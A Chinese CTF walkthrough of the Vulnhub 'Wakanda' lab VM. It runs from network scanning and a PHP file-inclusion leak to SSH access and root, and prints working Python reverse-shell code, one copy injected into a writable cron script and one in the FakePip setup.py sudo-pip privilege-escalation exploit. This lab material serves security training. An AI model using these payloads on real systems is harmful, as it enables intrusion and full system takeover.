Vulnhub靶机Wakanda渗透测试攻略

2018-10-06 134721人围观 ,发现 2 个不明物体 网络安全

前言

Wakanda是一个新的交易市场网站,很快会上线了。你的目标是通过黑客技术找到“振金”的确切位置。

页首配图

本vulnhub靶机环境由xMagass开发,并托管于Vulnhub,这台靶机上包含了很多很酷的技巧。

百度网盘下载地址:

链接:https://pan.baidu.com/s/1xwr1li8sJ-Yc7h_jOtVOcw 密码:aixl

难度级别:中级。

用virtualbox导入Wakanda_1.ova靶机环境,修改其网络连接方式为Bridged(桥接网卡),并选择一个可用于联网的网卡(例如,我使用的无线网卡上网,在图中网卡为Inter(R) Dual Band Wireless-AC 7260)。

1、运行arp-scan识别目标的IP地址

由于kali和wakanda靶机都运行在桥接网卡模式下,因此处于同一个局域网内。我们可以先利用ip a命令查看kali的IP地址,再使用netdiscover或arp-scan命令查看同一个局域网的中另外还有哪些存活主机。

(1) 利用ip a命令查看kali的IP地址

root@kali:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 08:00:27:e2:40:00 brd ff:ff:ff:ff:ff:ff
    inet 192.168.0.104/24 brd 192.168.0.255 scope global dynamic eth0
       valid_lft 5339sec preferred_lft 5339sec
    inet6 fe80::a00:27ff:fee2:4000/64 scope link 
       valid_lft forever preferred_lft forever

从中可以看出,kali在网卡eth0上的IP地址和掩码为192.168.0.104/24

(2) 查看同一个局域网的存活主机

root@kali:~# netdiscover -i eth0
 Currently scanning: 192.168.10.0/16   |   Screen View: Unique Hosts                       

 7 Captured ARP Req/Rep packets, from 5 hosts.   Total size: 420                           
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.0.1     24:69:68:22:e8:1e      3     180  TP-LINK TECHNOLOGIES CO.,LTD.           
 192.168.0.103   6c:29:95:10:38:1c      1      60  Intel Corporate                         
 192.168.0.106   08:00:27:ac:03:43      1      60  PCS Systemtechnik GmbH                  
 192.168.0.100   bc:9f:ef:df:b6:e6      1      60  Unknown vendor                          
 192.168.0.102   2c:61:f6:88:ae:9c      1      60  Unknown vendor                          
root@kali:~#
root@kali:~# arp-scan -l
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
192.168.0.1    24:69:68:22:e8:1e    (Unknown)
192.168.0.103    6c:29:95:10:38:1c    Intel Corporate
192.168.0.106    08:00:27:ac:03:43    CADMUS COMPUTER SYSTEMS
192.168.0.101    44:c3:46:11:5b:07    (Unknown)
192.168.0.100    bc:9f:ef:df:b6:e6    (Unknown)

8 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9: 256 hosts scanned in 2.253 seconds (113.63 hosts/sec). 5 responded

从中可以看出,使用CADMUS COMPUTER SYSTEMS网卡的IP就是靶机(vulnhub靶机的网卡地址一般都是CADMUS COMPUTER SYSTEMS),其IP地址为192.168.0.106。

2、枚举和初步搜索信息

利用NMap执行全TCP端口扫描,我发现只有一个感兴趣的web应用程序,该网站上声明了这个即将开放的Vibranium交易市场。另外,还开放了一个运行在非默认端口上的的SSH服务(默认端口22、而此SSH服务运行在端口3333上)。

(1) nmap全端口扫描

root@kali:~# nmap -sS -p- 192.168.0.106

Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2018-09-20 09:56 CST
Nmap scan report for localhost (192.168.0.106)
Host is up (0.000096s latency).
Not shown: 65531 closed ports
PORT      STATE SERVICE
80/tcp    open  http
111/tcp   open  rpcbind
3333/tcp  open  dec-notes
59197/tcp open  unknown
MAC Address: 08:00:27:AC:03:43 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 3.15 seconds

从nmap端口扫描结果来看,80端口上开放了一个WEB程序。3333端口上运行的是SSH服务。

(2) 使用Nikto扫描网站漏洞

root@kali:~# nikto -h http://192.168.0.106/
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.0.106
+ Target Hostname:    192.168.0.106
+ Target Port:        80
+ Start Time:         2018-09-20 09:12:14 (GMT8)
---------------------------------------------------------------------------
+ Server: Apache/2.4.10 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.10 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ Server leaks inodes via ETags, header found with file /icons/README, fields: 0x13f4 0x438c034968a80 
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7535 requests: 0 error(s) and 7 item(s) reported on remote host
+ End Time:           2018-09-20 09:13:28 (GMT8) (74 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

从nikto扫描结果来看,并没有任何可利用的漏洞、或信息泄露。

(3) 目录枚举

由于使用nikto没有看到有用信息,我们再尝试使用dirb来暴力枚举目录。国内可以使用御剑等工具,但是这是国外的靶机环境,建议都用kali的通用工具就好。

root@kali:~# dirb http://192.168.0.106/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Thu Sep 20 09:19:02 2018
URL_BASE: http://192.168.0.106/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.0.106/ ----
+ http://192.168.0.106/admin (CODE:200|SIZE:0)                                             
+ http://192.168.0.106/backup (CODE:200|SIZE:0)                                            
+ http://192.168.0.106/index.php (CODE:200|SIZE:1527)                                      
+ http://192.168.0.106/secret (CODE:200|SIZE:0)                                            
+ http://192.168.0.106/server-status (CODE:403|SIZE:301)                                   
+ http://192.168.0.106/shell (CODE:200|SIZE:0)                                             

-----------------
END_TIME: Thu Sep 20 09:19:05 2018
DOWNLOADED: 4612 - FOUND: 6

尝试访问http://192.168.0.106/admin, backup, secret等URL,都没有返回任何信息。

(4) 查看网站源码

在网页源码中,找到一条注释,其中包含了有用的信息:

<!-- <a class="nav-link active" href="?lang=fr">Fr/a> -->

?lang=fr中,lang表示可切换的网站语言(网站常常具支持多语言,例如英语、法语、中文等),fr表示法语。我们尝试在HTTP URL中添加这个参数,切换语言为法语。

我们发现之前的英语内容切换成了法语:

原英语内容:
Next opening of the largest vibranium market. The products come directly from the wakanda. stay tuned! 

现法语内容:
Prochaine ouverture du plus grand marché du vibranium. Les produits viennent directement du wakanda. Restez à l'écoute!

根据以往的渗透测试经验,这里很可能存在本地文件包含(LFI)或远程文件包含(RFI)漏洞。

3、利用LFI读取源码

在尝试访问http://192.168.0.106/?lang=index等url未获得有用信息后,我们尝试php伪协议。http://192.168.0.106/?lang=php://filter/convert.base64-encode/resource=index

得到了index.php的base64加密后的源码,解密后发现了一个Password。

PD9waHAKJHBhc3N3b3JkID0iTmlhbWV5NEV2ZXIyMjchISEiIDsvL0kgaGF2ZSB0byByZW1lbWJlciBpdAoKaWYgKGlzc2V0KCRfR0VUWydsYW5nJ10pKQp7CmluY2x1ZGUoJF9HRVRbJ2xhbmcnXS4iLnBocCIpOwp9Cgo/PgoKCgo8IURPQ1RZUEUgaHRtbD4KPGh0bWwgbGFuZz0iZW4iPjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+CiAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIHNocmluay10by1maXQ9bm8iPgogICAgPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9IlZpYnJhbml1bSBtYXJrZXQiPgogICAgPG1ldGEgbmFtZT0iYXV0aG9yIiBjb250ZW50PSJtYW1hZG91Ij4KCiAgICA8dGl0bGU+VmlicmFuaXVtIE1hcmtldDwvdGl0bGU+CgoKICAgIDxsaW5rIGhyZWY9ImJvb3RzdHJhcC5jc3MiIHJlbD0ic3R5bGVzaGVldCI+CgogICAgCiAgICA8bGluayBocmVmPSJjb3Zlci5jc3MiIHJlbD0ic3R5bGVzaGVldCI+CiAgPC9oZWFkPgoKICA8Ym9keSBjbGFzcz0idGV4dC1jZW50ZXIiPgoKICAgIDxkaXYgY2xhc3M9ImNvdmVyLWNvbnRhaW5lciBkLWZsZXggdy0xMDAgaC0xMDAgcC0zIG14LWF1dG8gZmxleC1jb2x1bW4iPgogICAgICA8aGVhZGVyIGNsYXNzPSJtYXN0aGVhZCBtYi1hdXRvIj4KICAgICAgICA8ZGl2IGNsYXNzPSJpbm5lciI+CiAgICAgICAgICA8aDMgY2xhc3M9Im1hc3RoZWFkLWJyYW5kIj5WaWJyYW5pdW0gTWFya2V0PC9oMz4KICAgICAgICAgIDxuYXYgY2xhc3M9Im5hdiBuYXYtbWFzdGhlYWQganVzdGlmeS1jb250ZW50LWNlbnRlciI+CiAgICAgICAgICAgIDxhIGNsYXNzPSJuYXYtbGluayBhY3RpdmUiIGhyZWY9IiMiPkhvbWU8L2E+CiAgICAgICAgICAgIDwhLS0gPGEgY2xhc3M9Im5hdi1saW5rIGFjdGl2ZSIgaHJlZj0iP2xhbmc9ZnIiPkZyL2E+IC0tPgogICAgICAgICAgPC9uYXY+CiAgICAgICAgPC9kaXY+CiAgICAgIDwvaGVhZGVyPgoKICAgICAgPG1haW4gcm9sZT0ibWFpbiIgY2xhc3M9ImlubmVyIGNvdmVyIj4KICAgICAgICA8aDEgY2xhc3M9ImNvdmVyLWhlYWRpbmciPkNvbWluZyBzb29uPC9oMT4KICAgICAgICA8cCBjbGFzcz0ibGVhZCI+CiAgICAgICAgICA8P3BocAogICAgICAgICAgICBpZiAoaXNzZXQoJF9HRVRbJ2xhbmcnXSkpCiAgICAgICAgICB7CiAgICAgICAgICBlY2hvICRtZXNzYWdlOwogICAgICAgICAgfQogICAgICAgICAgZWxzZQogICAgICAgICAgewogICAgICAgICAgICA/PgoKICAgICAgICAgICAgTmV4dCBvcGVuaW5nIG9mIHRoZSBsYXJnZXN0IHZpYnJhbml1bSBtYXJrZXQuIFRoZSBwcm9kdWN0cyBjb21lIGRpcmVjdGx5IGZyb20gdGhlIHdha2FuZGEuIHN0YXkgdHVuZWQhCiAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICB9Cj8+CiAgICAgICAgPC9wPgogICAgICAgIDxwIGNsYXNzPSJsZWFkIj4KICAgICAgICAgIDxhIGhyZWY9IiMiIGNsYXNzPSJidG4gYnRuLWxnIGJ0bi1zZWNvbmRhcnkiPkxlYXJuIG1vcmU8L2E+CiAgICAgICAgPC9wPgogICAgICA8L21haW4+CgogICAgICA8Zm9vdGVyIGNsYXNzPSJtYXN0Zm9vdCBtdC1hdXRvIj4KICAgICAgICA8ZGl2IGNsYXNzPSJpbm5lciI+CiAgICAgICAgICA8cD5NYWRlIGJ5PGEgaHJlZj0iIyI+QG1hbWFkb3U8L2E+PC9wPgogICAgICAgIDwvZGl2PgogICAgICA8L2Zvb3Rlcj4KICAgIDwvZGl2PgoKCgogIAoKPC9ib2R5PjwvaHRtbD4=<?php
$password ="Niamey4Ever227!!!" ;//I have to remember it

if (isset($_GET['lang']))
{
include($_GET['lang'].".php");
}

由于网站没有登录后台,我们尝试利用这个密码登录SSH服务。在尝试用户名root、admin等无效后,我们发现网站下文的信息Made by@mamadou,于是尝试用户名mamadou

root@kali:~# ssh mamadou@192.168.0.106 -p 3333
The authenticity of host '[192.168.0.106]:3333 ([192.168.0.106]:3333)' can't be established.
ECDSA key fingerprint is SHA256:X+fXjgH34Ta5l6I4kUSpiVZNBGGBGtjxZxgyU7KCFwk.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[192.168.0.106]:3333' (ECDSA) to the list of known hosts.
mamadou@192.168.0.106's password: 

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Sep 19 06:26:23 2018 from kali
Python 2.7.9 (default, Jun 29 2016, 13:08:31) 
[GCC 4.9.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> ls
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
NameError: name 'ls' is not defined
>>>

4、获得敏感信息

(1)切换BASH环境

登录后,发现mamadou使用的shell不是/bin/bash,而是python。

我们可以执行python命令来获得靶机上的敏感信息。也可以利用python语句切换到/bin/bash

>>> import pty
>>> pty.spawn("/bin/bash")
mamadou@Wakanda1:~$ id
uid=1000(mamadou) gid=1000(mamadou) groups=1000(mamadou)
mamadou@Wakanda1:~$

利用上面的import ptypty.spawn("/bin/bash")两条命令,即可切换到bash下。

(2)获得第一个flag

在mamadou的用户目录下,找到了第一个flag。

mamadou@Wakanda1:~$ pwd
/home/mamadou
mamadou@Wakanda1:~$ ls -lar
total 24
-rw-r--r-- 1 mamadou mamadou  675 Aug  1 13:15 .profile
-rw-r--r-- 1 mamadou mamadou   41 Aug  1 15:52 flag1.txt
-rw-r--r-- 1 mamadou mamadou 3515 Aug  1 13:15 .bashrc
-rw-r--r-- 1 mamadou mamadou  220 Aug  1 13:15 .bash_logout
lrwxrwxrwx 1 root    root       9 Aug  5 02:24 .bash_history -> /dev/null
drwxr-xr-x 4 root    root    4096 Aug  1 15:23 ..
drwxr-xr-x 2 mamadou mamadou 4096 Sep 19 06:28 .
mamadou@Wakanda1:~$ cat flag1.txt 

Flag : d86b9ad71ca887f4dd1dac86ba1c4dfc

另外,我们再搜索其他目录,查看是否有flag。

mamadou@Wakanda1:~$ find / --name "*flag*" 2>/dev/null

没有发现flag文件,可能是mamadou无权访问。

在网站目录/var/www/html下,也未找到有用的信息。

mamadou@Wakanda1:~$ cd /var/www/html/
mamadou@Wakanda1:/var/www/html$ ls -la
total 4572
drwxr-xr-x 2 root root    4096 Aug  1 16:51 .
drwxr-xr-x 3 root root    4096 Aug  1 13:29 ..
-rw-r--r-- 1 root root       0 Aug  1 16:50 admin
-rw-r--r-- 1 root root       0 Aug  1 16:50 backup
-rw-r--r-- 1 root root 4510077 Aug  1 14:26 bg.jpg
-rw-r--r-- 1 root root  140936 Aug  1 14:07 bootstrap.css
-rw-r--r-- 1 root root    1464 Aug  1 14:29 cover.css
-rw-r--r-- 1 root root     141 Aug  1 16:45 fr.php
-rw-r--r-- 1 root root       0 Aug  1 16:50 hahaha
-rw-r--r-- 1 root root       0 Aug  1 16:51 hohoho
-rw-r--r-- 1 root root    1811 Aug  1 16:44 index.php
-rw-r--r-- 1 root root       0 Aug  1 16:50 secret
-rw-r--r-- 1 root root      40 Aug  1 16:51 secret.txt
-rw-r--r-- 1 root root       0 Aug  1 16:50 shell
-rw-r--r-- 1 root root       0 Aug  1 16:50 troll
mamadou@Wakanda1:/var/www/html$ cat secret.txt 
Congratulations! 

Nope!I am joking....

这里可以看到,dirb扫描出的admin等欺骗性文件的大小都为0,没有任何内容。

(3)查看用户是否有sudo权限

mamadou@Wakanda1:~$ sudo -l
[sudo] password for mamadou: 
Sorry, user mamadou may not run sudo on Wakanda1.

发现mamadou用户没有sudo权限。

5、利用其他用户的权限

(1) 查看其他用户

这时,我们再查看靶机上是否有其他用户。

mamadou@Wakanda1:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false
Debian-exim:x:104:109::/var/spool/exim4:/bin/false
messagebus:x:105:110::/var/run/dbus:/bin/false
statd:x:106:65534::/var/lib/nfs:/bin/false
avahi-autoipd:x:107:113:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin
mamadou:x:1000:1000:Mamadou,,,,Developper:/home/mamadou:/usr/bin/python
devops:x:1001:1002:,,,:/home/devops:/bin/bash

从中发现另一个devops用户。我们再搜索他是否有敏感信息:

mamadou@Wakanda1:~$ cd /home/devops/
mamadou@Wakanda1:/home/devops$ ls -la
total 28
drwxr-xr-x 3 devops developer 4096 Sep 19 06:50 .
drwxr-xr-x 4 root   root      4096 Aug  1 15:23 ..
lrwxrwxrwx 1 root   root         9 Aug  5 02:25 .bash_history -> /dev/null
-rw-r--r-- 1 devops developer  220 Aug  1 15:23 .bash_logout
-rw-r--r-- 1 devops developer 3515 Aug  1 15:23 .bashrc
-rw-r----- 1 devops developer   42 Aug  1 15:57 flag2.txt
-rw-r--r-- 1 devops developer  675 Aug  1 15:23 .profile
mamadou@Wakanda1:/home/devops$ cat flag2.txt 
cat: flag2.txt: Permission denied

发现了一个flag2.txt,但是mamadou没权限查看其内容。于是尝试切换到该用户。没有密码,只能想其他方法。

(2)信息搜索

在/tmp目录中,发现一个新建的test文件:

mamadou@Wakanda1:~$ cd /tmp
mamadou@Wakanda1:/tmp$ ls -laR
.:
total 32
drwxrwxrwt  7 root   root      4096 Sep 19 21:42 .
drwxr-xr-x 22 root   root      4096 Aug  1 13:05 ..
drwxrwxrwt  2 root   root      4096 Sep 19 20:49 .font-unix
drwxrwxrwt  2 root   root      4096 Sep 19 20:49 .ICE-unix
-rw-r--r--  1 devops developer    4 Sep 19 21:46 test
drwxrwxrwt  2 root   root      4096 Sep 19 20:49 .Test-unix
drwxrwxrwt  2 root   root      4096 Sep 19 20:49 .X11-unix
drwxrwxrwt  2 root   root      4096 Sep 19 20:49 .XIM-unix

mamadou@Wakanda1:/tmp$ date
Wed Sep 19 21:47:59 EDT 2018

test文件的创建时间为Sep 19 21:46,明显晚于其他文件的创建日期;使用date命令查看靶机的当前时间,为Wed Sep 19 21:47:59,说明test文件是2分钟内才新建的。我们怀疑靶机上运行了一个程序,定期执行创建test文件。

最终,在/srv目录下,找到了这个定期运行的文件:

mamadou@Wakanda1:/tmp$ cd /srv/
mamadou@Wakanda1:/srv$ ls -la
total 12
drwxr-xr-x  2 root   root      4096 Aug  1 17:52 .
drwxr-xr-x 22 root   root      4096 Aug  1 13:05 ..
-rw-r--rw-  1 devops developer   37 Sep 19 21:49 .antivirus.py
mamadou@Wakanda1:/srv$ cat .antivirus.py 
open('/tmp/test','w').write('test')

文件.antivirus.py是一个python脚本,其拥有者是devops,所属组为developer,而且任何人都可以修改它!

我们可以通过修改其文件内容,尝试获得反向shell。

建立反向shell

修改python脚本,添加反向shell的内容:

mamadou@Wakanda1:/srv$ vi .antivirus.py 
mamadou@Wakanda1:/srv$ cat .antivirus.py
open('/tmp/test','w').write('test')
import socket,subprocess,os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.0.104",1235))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])

修改完成后,我们侦听1235端口,等待靶机的反向shell连接:

root@kali:~# nc -lvvp 1235

在等了几分钟后,成功获得了shell连接。并获得了第二个flag。

root@kali:~# nc -lvvp 1235
listening on [any] 1235 ...
connect to [192.168.0.104] from localhost [192.168.0.106] 60823
bash: cannot set terminal process group (1107): Inappropriate ioctl for device
bash: no job control in this shell
devops@Wakanda1:/$ id
uid=1001(devops) gid=1002(developer) groups=1002(developer)
devops@Wakanda1:/$ cd    
devops@Wakanda1:~$ pwd
/home/devops
devops@Wakanda1:~$ ls -la
total 28
drwxr-xr-x 3 devops developer 4096 Sep 19 06:50 .
drwxr-xr-x 4 root   root      4096 Aug  1 15:23 ..
lrwxrwxrwx 1 root   root         9 Aug  5 02:25 .bash_history -> /dev/null
-rw-r--r-- 1 devops developer  220 Aug  1 15:23 .bash_logout
-rw-r--r-- 1 devops developer 3515 Aug  1 15:23 .bashrc
-rw-r----- 1 devops developer   42 Aug  1 15:57 flag2.txt
-rw-r--r-- 1 devops developer  675 Aug  1 15:23 .profile
devops@Wakanda1:~$ cat flag2.txt
Flag 2 : d8ce56398c88e1b4d9e5f83e64c79098

6、提权到root

我们的最终目标是获得root权限。

(1)查看用户devops的sudo权限

devops@Wakanda1:/$ sudo -l
sudo -l
Matching Defaults entries for devops on Wakanda1:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User devops may run the following commands on Wakanda1:
    (ALL) NOPASSWD: /usr/bin/pip

发现用户devops可无密码执行的sudo命令只有/usr/bin/pip。从来没有遇到这种情况,在网上搜索了好久,找到一种提权方法:fakepip exploit。具体的漏洞利用方法已写得很清楚。

(2)利用pip升级漏洞

由于在靶机上无法高效地编辑exp,我们先在kali上将exp下载下来,再编辑,最后上传到靶机上。

A.下载

root@kali:~# mkdir FakePip
root@kali:~# cd FakePip/
root@kali:~/FakePip# wget https://raw.githubusercontent.com/0x00-0x00/FakePip/master/setup.py
--2018-09-20 10:30:04--  https://raw.githubusercontent.com/0x00-0x00/FakePip/master/setup.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.108.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 983 [text/plain]
Saving to: ?.etup.py?

setup.py               100%[============================>]     983  --.-KB/s    in 0s      

2018-09-20 10:30:05 (4.20 MB/s) - ?.etup.py?.saved [983/983]

B.修改反弹地址

修改setup.py中的RHOST = '10.0.0.1' # change this语句为kali的IP地址。例如,我的kali的IP地址为:192.168.0.104

root@kali:~/FakePip# vi setup.py 
root@kali:~/FakePip# cat setup.py 
from setuptools import setup
from setuptools.command.install import install
import base64
import os


class CustomInstall(install):
  def run(self):
    install.run(self)
    RHOST = '192.168.0.104'  # change this

    reverse_shell = 'python -c "import os; import pty; import socket; lhost = \'%s\'; lport = 443; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((lhost, lport)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); os.putenv(\'HISTFILE\', \'/dev/null\'); pty.spawn(\'/bin/bash\'); s.close();"' % RHOST
    encoded = base64.b64encode(reverse_shell)
    os.system('echo %s|base64 -d|bash' % encoded)


setup(name='FakePip',
      version='0.0.1',
      description='This will exploit a sudoer able to /usr/bin/pip install *',
      url='https://github.com/0x00-0x00/fakepip',
      author='zc00l',
      author_email='andre.marques@esecurity.com.br',
      license='MIT',
      zip_safe=False,
      cmdclass={'install': CustomInstall})

C.利用python建立SimpleHTTPServer

root@kali:~/FakePip# python -m SimpleHTTPServer 8888
Serving HTTP on 0.0.0.0 port 8888 ...

执行python -m SimpleHTTPServer 8888后,就在KALI上运行了一个简易的HTTP服务器,在靶机上就可从这个HTTP服务器下载setup.py脚本了。

D.下载exp

在靶机的devops用户下,下载setup.py脚本。

devops@Wakanda1:~$ mkdir fakepip
devops@Wakanda1:~$ cd fakepip
devops@Wakanda1:~/fakepip$ wget http://192.168.0.104:8888/setup.py
--2018-09-19 22:34:45--  http://192.168.0.104:8888/setup.py
Connecting to 192.168.0.104:8888... connected.
HTTP request sent, awaiting response... 200 OK
Length: 988 [text/plain]
Saving to: ?.etup.py?

     0K                                                       100%  127M=0s

2018-09-19 22:34:45 (127 MB/s) - ?.etup.py?.saved [988/988]
devops@Wakanda1:~/fakepip$ ls
setup.py

可以看到,成功地下载了脚本。

E.在kali中侦听443端口

root@kali:~/FakePip# nc -lvvp 443

F.执行exp,获得反向shell

在靶机上执行命令sudo /usr/bin/pip install . --upgrade --force-reinstall,即可在kali上发现,成功获得了反向shell。

devops@Wakanda1:~/fakepip$ sudo /usr/bin/pip install . --upgrade --force-reinstall
<sudo /usr/bin/pip install . --upgrade --force-reinstall                     
Unpacking /home/devops/fakepip
  Running setup.py (path:/tmp/pip-G7z4Td-build/setup.py) egg_info for package from file:///home/devops/fakepip

Installing collected packages: FakePip
  Found existing installation: FakePip 0.0.1
    Uninstalling FakePip:
      Successfully uninstalled FakePip
  Running setup.py install for FakePip

在kali上的反向shell权限是root,即最高权限。

root@kali:~/FakePip# nc -lvvp 443
listening on [any] 443 ...
connect to [192.168.0.104] from localhost [192.168.0.106] 55143
root@Wakanda1:/tmp/pip-G7z4Td-build# id
uid=0(root) gid=0(root) groups=0(root)
root@Wakanda1:/tmp/pip-G7z4Td-build#

7、查看最终flag

root@Wakanda1:/tmp/pip-G7z4Td-build# cd  
cd
root@Wakanda1:~# ls -la
ls -la
total 20
drwx------  2 root root 4096 Aug  5 02:26 .
drwxr-xr-x 22 root root 4096 Aug  1 13:05 ..
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
-rw-r--r--  1 root root  140 Nov 19  2007 .profile
-rw-r-----  1 root root  429 Aug  1 15:16 root.txt
root@Wakanda1:~# cat root.txt
cat root.txt
 _    _.--.____.--._
( )=.-":;:;:;;':;:;:;"-._
 \\\:;:;:;:;:;;:;::;:;:;:\
  \\\:;:;:;:;:;;:;:;:;:;:;\
   \\\:;::;:;:;:;:;::;:;:;:\
    \\\:;:;:;:;:;;:;::;:;:;:\
     \\\:;::;:;:;:;:;::;:;:;:\
      \\\;;:;:_:--:_:_:--:_;:;\
       \\\_.-"             "-._\
        \\
         \\
          \\
           \\ Wakanda 1 - by @xMagass
            \\
             \\


Congratulations You are Root!

821ae63dbe0c573eff8b69d451fb21bc

*本文作者:laffray,转载请注明来自FreeBuf.COM

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